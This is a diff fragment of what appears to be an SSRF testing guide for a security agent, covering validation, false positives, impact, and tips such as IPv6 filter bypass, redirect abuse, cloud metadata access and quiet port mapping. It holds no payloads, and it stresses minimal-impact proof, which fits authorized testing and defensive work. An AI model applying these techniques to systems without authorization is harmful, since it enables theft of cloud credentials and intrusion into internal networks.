+ 3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read.
106
+ 4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior.
107
+ </validation>
108
+
109
+ <false_positives>
110
+ - Client-side fetches only (no server request)
111
+ - Strict allowlists with DNS pinning and no redirect following
112
+ - SSRF simulators/mocks returning canned responses without real egress
113
+ - Blocked egress confirmed by uniform errors across all targets and protocols
114
+ </false_positives>
115
+
116
+ <impact>
117
+ - Cloud credential disclosure with subsequent control-plane/API access
118
+ - Access to internal control panels and data stores not exposed publicly
119
+ - Lateral movement into Kubernetes, service meshes, and CI/CD
120
+ - RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
121
+ </impact>
153
122
 
154
123
  <pro_tips>
155
- 1. Always check cloud metadata first
156
- 2. Chain with other vulns (SSRF + XXE)
157
- 3. Use time delays for blind SSRF
158
- 4. Try all protocols, not just HTTP
159
- 5. Automate internal network scanning
160
- 6. Check parser quirks (language-specific)
161
- 7. Monitor DNS for blind confirmation
162
- 8. Try IPv6 (often forgotten)
163
- 9. Abuse redirects for filter bypass
164
- 10. SSRF can be in any URL-fetching feature
124
+ 1. Prefer OAST callbacks first; then iterate on internal addressing and protocols.
125
+ 2. Test IPv6 and mixed-notation addresses; filters often ignore them.
126
+ 3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs.
127
+ 4. Redirects are leverage: control both the initial allowlisted host and the next hop.
128
+ 5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you.
129
+ 6. Use tiny payloads and tight timeouts to map ports with minimal noise.
130
+ 7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability.
131
+ 8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there.
165
132
  </pro_tips>
166
133
 
167
- <remember>SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access.</remember>
134
+ <remember>Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.</remember>
168
135
  </ssrf_vulnerability_guide>